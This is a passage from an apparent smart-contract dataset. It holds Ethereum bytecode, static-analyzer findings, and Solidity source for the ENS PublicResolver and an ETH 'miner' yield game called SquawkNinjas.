8565b60008111610c1b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103f8565b6001600a55600b80556000546001600160a01b03848116911614801590610c5057506000546001600160a01b03838116911614155b15610e2e576001600160a01b03831660009081526006602052604090205460ff16158015610c9757506001600160a01b03821660009081526006602052604090205460ff16155b610ca057600080fd5b600f546001600160a01b038481169116148015610ccb5750600e546001600160a01b03838116911614155b8015610cf057506001600160a01b03821660009081526005602052604090205460ff16155b8015610d055750600f54600160b81b900460ff165b15610d6257601054811115610d1957600080fd5b6001600160a01b0382166000908152600760205260409020544211610d3d57600080fd5b610d4842603c611896565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610d8d5750600e546001600160a01b03848116911614155b8015610db257506001600160a01b03831660009081526005602052604090205460ff16155b15610dc1576001600a55600b80555b6000610dcc30610497565b600f54909150600160a81b900460ff16158015610df75750600f546001600160a01b03858116911614155b8015610e0c5750600f54600160b01b900460ff165b15610e2c57610e1a81610f81565b478015610e2a57610e2a47610e78565b505b505b610e3983838361110a565b505050565b60008184841115610e625760405162461bcd60e51b81526004016103f8919061179b565b506000610e6f84866118ef565b95945050505050565b600c546001600160a01b03166108fc610e92836002611115565b6040518115909202916000818181858888f19350505050158015610eba573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ed5836002611115565b6040518115909202916000818181858888f193505050501580156105cc573d6000803e3d6000fd5b6000600854821115610f645760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103f8565b6000610f6e611157565b9050610f7a8382611115565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fc957610fc9611937565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561101d57600080fd5b505afa158015611031573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061105591906115a4565b8160018151811061106857611068611937565b6001600160a01b039283166020918202929092010152600e5461108e91309116846109cf565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110c7908590600090869030904290600401611825565b600060405180830381600087803b1580156110e157600080fd5b505af11580156110f5573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e3983838361117a565b6000610f7a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611271565b600080600061116461129f565b90925090506111738282611115565b9250505090565b60008060008060008061118c876112e7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111be9087611344565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111ed9086611386565b6001600160a01b03891660009081526002602052604090205561120f816113e5565b611219848361142f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161125e91815260200190565b60405180910390a3505050505050505050565b600081836112925760405162461bcd60e51b81526004016103f8919061179b565b506000610e6f84866118ae565b60085460009081906b033b2e3c9fd0803ce80000006112be8282611115565b8210156112de575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113048a600a54600b54611453565b9250925092506000611314611157565b905060008060006113278e8787876114a8565b919e509c509a509598509396509194505050505091939550919395565b6000610f7a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e3e565b6000806113938385611896565b905083811015610f7a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f8565b60006113ef611157565b905060006113fd83836114f8565b3060009081526002602052604090205490915061141a9082611386565b30600090815260026020526040902055505050565b60085461143c9083611344565b60085560095461144c9082611386565b6009555050565b600080808061146d606461146789896114f8565b90611115565b9050600061148060646114678a896114f8565b90506000611498826114928b86611344565b90611344565b9992985090965090945050505050565b60008080806114b788866114f8565b905060006114c588876114f8565b905060006114d388886114f8565b905060006114e5826114928686611344565b939b939a50919850919650505050505050565b6000826115075750600061035f565b600061151383856118d0565b90508261152085836118ae565b14610f7a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f8565b803561158281611963565b919050565b60006020828403121561159957600080fd5b8135610f7a81611963565b6000602082840312156115b657600080fd5b8151610f7a81611963565b600080604083850312156115d457600080fd5b82356115df81611963565b915060208301356115ef81611963565b809150509250929050565b60008060006060848603121561160f57600080fd5b833561161a81611963565b9250602084013561162a81611963565b929592945050506040919091013590565b6000806040838503121561164e57600080fd5b823561165981611963565b946020939093013593505050565b6000602080838503121561167a57600080fd5b823567ffffffffffffffff8082111561169257600080fd5b818501915085601f8301126116a657600080fd5b8135818111156116b8576116b861194d565b8060051b604051601f19603f830116810181811085821117156116dd576116dd61194d565b604052828152858101935084860182860187018a10156116fc57600080fd5b600095505b838610156117265761171281611577565b855260019590950194938601938601611701565b5098975050505050505050565b60006020828403121561174557600080fd5b8135610f7a81611978565b60006020828403121561176257600080fd5b8151610f7a81611978565b60008060006060848603121561178257600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117c8578581018301518582016040015282016117ac565b818111156117da576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118755784516001600160a01b031683529383019391830191600101611850565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118a9576118a9611921565b500190565b6000826118cb57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118ea576118ea611921565b500290565b60008282101561190157611901611921565b500390565b600060001982141561191a5761191a611921565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461049457600080fd5b801515811461049457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cfa2165623d804018124b047bbd759c3a1901bb49832432d8e780cfb35a9a1ff64736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,469 |
0xd784B7429ed0b2D0Ae9624bCFF1DE8D086f13Aa9
|
pragma solidity ^0.4.18;
interface ENS {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external returns (bytes32);
function setResolver(bytes32 node, address resolver) external;
function setOwner(bytes32 node, address owner) external;
function setTTL(bytes32 node, uint64 ttl) external;
function owner(bytes32 node) external view returns (address);
function resolver(bytes32 node) external view returns (address);
function ttl(bytes32 node) external view returns (uint64);
}
/**
* A simple resolver anyone can use; only allows the owner of a node to set its
* address.
*/
contract PublicResolver {
bytes4 constant INTERFACE_META_ID = 0x01ffc9a7;
bytes4 constant ADDR_INTERFACE_ID = 0x3b3b57de;
bytes4 constant CONTENT_INTERFACE_ID = 0xd8389dc5;
bytes4 constant NAME_INTERFACE_ID = 0x691f3431;
bytes4 constant ABI_INTERFACE_ID = 0x2203ab56;
bytes4 constant PUBKEY_INTERFACE_ID = 0xc8690233;
bytes4 constant TEXT_INTERFACE_ID = 0x59d1d43c;
event AddrChanged(bytes32 indexed node, address a);
event ContentChanged(bytes32 indexed node, bytes32 hash);
event NameChanged(bytes32 indexed node, string name);
event ABIChanged(bytes32 indexed node, uint256 indexed contentType);
event PubkeyChanged(bytes32 indexed node, bytes32 x, bytes32 y);
event TextChanged(bytes32 indexed node, string indexedKey, string key);
struct PublicKey {
bytes32 x;
bytes32 y;
}
struct Record {
address addr;
bytes32 content;
string name;
PublicKey pubkey;
mapping(string=>string) text;
mapping(uint256=>bytes) abis;
}
ENS ens;
mapping (bytes32 => Record) records;
modifier only_owner(bytes32 node) {
require(ens.owner(node) == msg.sender);
_;
}
/**
* Constructor.
* @param ensAddr The ENS registrar contract.
*/
function PublicResolver(ENS ensAddr) public {
ens = ensAddr;
}
/**
* Sets the address associated with an ENS node.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param addr The address to set.
*/
function setAddr(bytes32 node, address addr) public only_owner(node) {
records[node].addr = addr;
emit AddrChanged(node, addr);
}
/**
* Sets the content hash associated with an ENS node.
* May only be called by the owner of that node in the ENS registry.
* Note that this resource type is not standardized, and will likely change
* in future to a resource type based on multihash.
* @param node The node to update.
* @param hash The content hash to set
*/
function setContent(bytes32 node, bytes32 hash) public only_owner(node) {
records[node].content = hash;
emit ContentChanged(node, hash);
}
/**
* Sets the name associated with an ENS node, for reverse records.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param name The name to set.
*/
function setName(bytes32 node, string name) public only_owner(node) {
records[node].name = name;
emit NameChanged(node, name);
}
/**
* Sets the ABI associated with an ENS node.
* Nodes may have one ABI of each content type. To remove an ABI, set it to
* the empty string.
* @param node The node to update.
* @param contentType The content type of the ABI
* @param data The ABI data.
*/
function setABI(bytes32 node, uint256 contentType, bytes data) public only_owner(node) {
// Content types must be powers of 2
require(((contentType - 1) & contentType) == 0);
records[node].abis[contentType] = data;
emit ABIChanged(node, contentType);
}
/**
* Sets the SECP256k1 public key associated with an ENS node.
* @param node The ENS node to query
* @param x the X coordinate of the curve point for the public key.
* @param y the Y coordinate of the curve point for the public key.
*/
function setPubkey(bytes32 node, bytes32 x, bytes32 y) public only_owner(node) {
records[node].pubkey = PublicKey(x, y);
emit PubkeyChanged(node, x, y);
}
/**
* Sets the text data associated with an ENS node and key.
* May only be called by the owner of that node in the ENS registry.
* @param node The node to update.
* @param key The key to set.
* @param value The text data value to set.
*/
function setText(bytes32 node, string key, string value) public only_owner(node) {
records[node].text[key] = value;
emit TextChanged(node, key, key);
}
/**
* Returns the text data associated with an ENS node and key.
* @param node The ENS node to query.
* @param key The text data key to query.
* @return The associated text data.
*/
function text(bytes32 node, string key) public view returns (string) {
return records[node].text[key];
}
/**
* Returns the SECP256k1 public key associated with an ENS node.
* Defined in EIP 619.
* @param node The ENS node to query
* @return x, y the X and Y coordinates of the curve point for the public key.
*/
function pubkey(bytes32 node) public view returns (bytes32 x, bytes32 y) {
return (records[node].pubkey.x, records[node].pubkey.y);
}
/**
* Returns the ABI associated with an ENS node.
* Defined in EIP205.
* @param node The ENS node to query
* @param contentTypes A bitwise OR of the ABI formats accepted by the caller.
* @return contentType The content type of the return value
* @return data The ABI data
*/
function ABI(bytes32 node, uint256 contentTypes) public view returns (uint256 contentType, bytes data) {
Record storage record = records[node];
for (contentType = 1; contentType <= contentTypes; contentType <<= 1) {
if ((contentType & contentTypes) != 0 && record.abis[contentType].length > 0) {
data = record.abis[contentType];
return;
}
}
contentType = 0;
}
/**
* Returns the name associated with an ENS node, for reverse records.
* Defined in EIP181.
* @param node The ENS node to query.
* @return The associated name.
*/
function name(bytes32 node) public view returns (string) {
return records[node].name;
}
/**
* Returns the content hash associated with an ENS node.
* Note that this resource type is not standardized, and will likely change
* in future to a resource type based on multihash.
* @param node The ENS node to query.
* @return The associated content hash.
*/
function content(bytes32 node) public view returns (bytes32) {
return records[node].content;
}
/**
* Returns the address associated with an ENS node.
* @param node The ENS node to query.
* @return The associated address.
*/
function addr(bytes32 node) public view returns (address) {
return records[node].addr;
}
/**
* Returns true if the resolver implements the interface specified by the provided hash.
* @param interfaceID The ID of the interface to check for.
* @return True if the contract implements the requested interface.
*/
function supportsInterface(bytes4 interfaceID) public pure returns (bool) {
return interfaceID == ADDR_INTERFACE_ID ||
interfaceID == CONTENT_INTERFACE_ID ||
interfaceID == NAME_INTERFACE_ID ||
interfaceID == ABI_INTERFACE_ID ||
interfaceID == PUBKEY_INTERFACE_ID ||
interfaceID == TEXT_INTERFACE_ID ||
interfaceID == INTERFACE_META_ID;
}
}
|
0x6060604052600436106100ab5763ffffffff60e060020a60003504166301ffc9a781146100b057806310f13a8c146100e45780632203ab561461017e57806329cd62ea146102155780632dff6941146102315780633b3b57de1461025957806359d1d43c1461028b578063623195b014610358578063691f3431146103b457806377372213146103ca578063c3d014d614610420578063c869023314610439578063d5fa2b0014610467575b600080fd5b34156100bb57600080fd5b6100d0600160e060020a031960043516610489565b604051901515815260200160405180910390f35b34156100ef57600080fd5b61017c600480359060446024803590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506105f695505050505050565b005b341561018957600080fd5b610197600435602435610806565b60405182815260406020820181815290820183818151815260200191508051906020019080838360005b838110156101d95780820151838201526020016101c1565b50505050905090810190601f1680156102065780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b341561022057600080fd5b61017c600435602435604435610930565b341561023c57600080fd5b610247600435610a20565b60405190815260200160405180910390f35b341561026457600080fd5b61026f600435610a36565b604051600160a060020a03909116815260200160405180910390f35b341561029657600080fd5b6102e1600480359060446024803590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610a5195505050505050565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561031d578082015183820152602001610305565b50505050905090810190601f16801561034a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561036357600080fd5b61017c600480359060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610b7095505050505050565b34156103bf57600080fd5b6102e1600435610c5d565b34156103d557600080fd5b61017c600480359060446024803590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610d2395505050505050565b341561042b57600080fd5b61017c600435602435610e5e565b341561044457600080fd5b61044f600435610f28565b60405191825260208201526040908101905180910390f35b341561047257600080fd5b61017c600435600160a060020a0360243516610f45565b6000600160e060020a031982167f3b3b57de0000000000000000000000000000000000000000000000000000000014806104ec5750600160e060020a031982167fd8389dc500000000000000000000000000000000000000000000000000000000145b806105205750600160e060020a031982167f691f343100000000000000000000000000000000000000000000000000000000145b806105545750600160e060020a031982167f2203ab5600000000000000000000000000000000000000000000000000000000145b806105885750600160e060020a031982167fc869023300000000000000000000000000000000000000000000000000000000145b806105bc5750600160e060020a031982167f59d1d43c00000000000000000000000000000000000000000000000000000000145b806105f05750600160e060020a031982167f01ffc9a700000000000000000000000000000000000000000000000000000000145b92915050565b6000548390600160a060020a0333811691166302571be38360405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561064457600080fd5b5af1151561065157600080fd5b50505060405180519050600160a060020a031614151561067057600080fd5b6000848152600160205260409081902083916005909101908590518082805190602001908083835b602083106106b75780518252601f199092019160209182019101610698565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390209080516106fb929160200190611039565b50837fd8c9334b1a9c2f9da342a0a2b32629c1a229b6445dad78947f674b44444a75508480604051808060200180602001838103835285818151815260200191508051906020019080838360005b83811015610761578082015183820152602001610749565b50505050905090810190601f16801561078e5780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b838110156107c45780820151838201526020016107ac565b50505050905090810190601f1680156107f15780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a250505050565b60006108106110b7565b60008481526001602081905260409091209092505b838311610923578284161580159061085e5750600083815260068201602052604081205460026000196101006001841615020190911604115b15610918578060060160008481526020019081526020016000208054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561090c5780601f106108e15761010080835404028352916020019161090c565b820191906000526020600020905b8154815290600101906020018083116108ef57829003601f168201915b50505050509150610928565b600290920291610825565b600092505b509250929050565b6000548390600160a060020a0333811691166302571be38360405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561097e57600080fd5b5af1151561098b57600080fd5b50505060405180519050600160a060020a03161415156109aa57600080fd5b6040805190810160409081528482526020808301859052600087815260019091522060030181518155602082015160019091015550837f1d6f5e03d3f63eb58751986629a5439baee5079ff04f345becb66e23eb154e46848460405191825260208201526040908101905180910390a250505050565b6000908152600160208190526040909120015490565b600090815260016020526040902054600160a060020a031690565b610a596110b7565b60008381526001602052604090819020600501908390518082805190602001908083835b60208310610a9c5780518252601f199092019160209182019101610a7d565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b635780601f10610b3857610100808354040283529160200191610b63565b820191906000526020600020905b815481529060010190602001808311610b4657829003601f168201915b5050505050905092915050565b6000548390600160a060020a0333811691166302571be38360405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610bbe57600080fd5b5af11515610bcb57600080fd5b50505060405180519050600160a060020a0316141515610bea57600080fd5b6000198301831615610bfb57600080fd5b60008481526001602090815260408083208684526006019091529020828051610c28929160200190611039565b5082847faa121bbeef5f32f5961a2a28966e769023910fc9479059ee3495d4c1a696efe360405160405180910390a350505050565b610c656110b7565b6001600083600019166000191681526020019081526020016000206002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d175780601f10610cec57610100808354040283529160200191610d17565b820191906000526020600020905b815481529060010190602001808311610cfa57829003601f168201915b50505050509050919050565b6000548290600160a060020a0333811691166302571be38360405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610d7157600080fd5b5af11515610d7e57600080fd5b50505060405180519050600160a060020a0316141515610d9d57600080fd5b6000838152600160205260409020600201828051610dbf929160200190611039565b50827fb7d29e911041e8d9b843369e890bcb72c9388692ba48b65ac54e7214c4c348f78360405160208082528190810183818151815260200191508051906020019080838360005b83811015610e1f578082015183820152602001610e07565b50505050905090810190601f168015610e4c5780820380516001836020036101000a031916815260200191505b509250505060405180910390a2505050565b6000548290600160a060020a0333811691166302571be38360405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610eac57600080fd5b5af11515610eb957600080fd5b50505060405180519050600160a060020a0316141515610ed857600080fd5b6000838152600160208190526040918290200183905583907f0424b6fe0d9c3bdbece0e7879dc241bb0c22e900be8b6c168b4ee08bd9bf83bc9084905190815260200160405180910390a2505050565b600090815260016020526040902060038101546004909101549091565b6000548290600160a060020a0333811691166302571be38360405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610f9357600080fd5b5af11515610fa057600080fd5b50505060405180519050600160a060020a0316141515610fbf57600080fd5b60008381526001602052604090819020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03851617905583907f52d7d861f09ab3d26239d492e8968629f95e9e318cf0b73bfddc441522a15fd290849051600160a060020a03909116815260200160405180910390a2505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061107a57805160ff19168380011785556110a7565b828001600101855582156110a7579182015b828111156110a757825182559160200191906001019061108c565b506110b39291506110c9565b5090565b60206040519081016040526000815290565b6110e391905b808211156110b357600081556001016110cf565b905600a165627a7a72305820ff42c3c9cd0b4246769fbc6bc0623c2b1dfdfb12e491b6581b12a2da51c03fe50029
|
{"success": true, "error": null, "results": {}}
| 4,470 |
0xaa7f6b76ce4d9a0602416d9f4536698a6a25b836
|
// SPDX-License-Identifier: MIT
/*
SQUAWK NINJAS ETH MINER
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
pragma solidity 0.8.9;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SquawkNinjas is Context, Ownable {
using SafeMath for uint256;
uint256 private EGGS_TO_HATCH_1MINERS = 1080000;//for final version should be seconds in a day
uint256 private PSN = 10000;
uint256 private PSNH = 5000;
uint256 private devFeeVal = 4;
bool private initialized = false;
address payable private recAdd;
mapping (address => uint256) private hatcheryMiners;
mapping (address => uint256) private claimedEggs;
mapping (address => uint256) private lastHatch;
mapping (address => address) private referrals;
uint256 private marketEggs;
constructor() {
recAdd = payable(msg.sender);
}
function hatchEggs(address ref) public {
require(initialized);
if(ref == msg.sender) {
ref = address(0);
}
if(referrals[msg.sender] == address(0) && referrals[msg.sender] != msg.sender) {
referrals[msg.sender] = ref;
}
uint256 eggsUsed = getMyEggs(msg.sender);
uint256 newMiners = SafeMath.div(eggsUsed,EGGS_TO_HATCH_1MINERS);
hatcheryMiners[msg.sender] = SafeMath.add(hatcheryMiners[msg.sender],newMiners);
claimedEggs[msg.sender] = 0;
lastHatch[msg.sender] = block.timestamp;
//send referral eggs
claimedEggs[referrals[msg.sender]] = SafeMath.add(claimedEggs[referrals[msg.sender]],SafeMath.div(eggsUsed,8));
//boost market to nerf miners hoarding
marketEggs=SafeMath.add(marketEggs,SafeMath.div(eggsUsed,5));
}
function sellEggs() public {
require(initialized);
uint256 hasEggs = getMyEggs(msg.sender);
uint256 eggValue = calculateEggSell(hasEggs);
uint256 fee = devFee(eggValue);
claimedEggs[msg.sender] = 0;
lastHatch[msg.sender] = block.timestamp;
marketEggs = SafeMath.add(marketEggs,hasEggs);
recAdd.transfer(fee);
payable (msg.sender).transfer(SafeMath.sub(eggValue,fee));
}
function beanRewards(address adr) public view returns(uint256) {
uint256 hasEggs = getMyEggs(adr);
uint256 eggValue = calculateEggSell(hasEggs);
return eggValue;
}
function buyEggs(address ref) public payable {
require(initialized);
uint256 eggsBought = calculateEggBuy(msg.value,SafeMath.sub(address(this).balance,msg.value));
eggsBought = SafeMath.sub(eggsBought,devFee(eggsBought));
uint256 fee = devFee(msg.value);
recAdd.transfer(fee);
claimedEggs[msg.sender] = SafeMath.add(claimedEggs[msg.sender],eggsBought);
hatchEggs(ref);
}
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) private view returns(uint256) {
return SafeMath.div(SafeMath.mul(PSN,bs),SafeMath.add(PSNH,SafeMath.div(SafeMath.add(SafeMath.mul(PSN,rs),SafeMath.mul(PSNH,rt)),rt)));
}
function calculateEggSell(uint256 eggs) public view returns(uint256) {
return calculateTrade(eggs,marketEggs,address(this).balance);
}
function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256) {
return calculateTrade(eth,contractBalance,marketEggs);
}
function calculateEggBuySimple(uint256 eth) public view returns(uint256) {
return calculateEggBuy(eth,address(this).balance);
}
function devFee(uint256 amount) private view returns(uint256) {
return SafeMath.div(SafeMath.mul(amount,devFeeVal),100);
}
function seedMarket() public payable onlyOwner {
require(marketEggs == 0);
initialized = true;
marketEggs = 108000000000;
}
function getBalance() public view returns(uint256) {
return address(this).balance;
}
function getMyMiners(address adr) public view returns(uint256) {
return hatcheryMiners[adr];
}
function getMyEggs(address adr) public view returns(uint256) {
return SafeMath.add(claimedEggs[adr],getEggsSinceLastHatch(adr));
}
function getEggsSinceLastHatch(address adr) public view returns(uint256) {
uint256 secondsPassed=min(EGGS_TO_HATCH_1MINERS,SafeMath.sub(block.timestamp,lastHatch[adr]));
return SafeMath.mul(secondsPassed,hatcheryMiners[adr]);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
}
|
0x6080604052600436106100e85760003560e01c8063715018a61161008a578063a507abee11610059578063a507abee146102d5578063d7c8843b14610312578063db6638651461034f578063f2fde38b1461036b576100e8565b8063715018a6146102195780637e56fde5146102305780638da5cb5b1461026d5780638e31632714610298576100e8565b80633955f0fe116100c65780633955f0fe146101925780633c5f07cb146101a95780633ec862a8146101b35780634b634b06146101dc576100e8565b806312065fe0146100ed57806326fd8422146101185780632ef6a74314610155575b600080fd5b3480156100f957600080fd5b50610102610394565b60405161010f91906111f9565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611245565b61039c565b60405161014c91906111f9565b60405180910390f35b34801561016157600080fd5b5061017c600480360381019061017791906112e3565b6103b3565b60405161018991906111f9565b60405180910390f35b34801561019e57600080fd5b506101a761040d565b005b6101b16105a6565b005b3480156101bf57600080fd5b506101da60048036038101906101d591906112e3565b610673565b005b3480156101e857600080fd5b5061020360048036038101906101fe91906112e3565b610b16565b60405161021091906111f9565b60405180910390f35b34801561022557600080fd5b5061022e610b5f565b005b34801561023c57600080fd5b5061025760048036038101906102529190611310565b610cb2565b60405161026491906111f9565b604051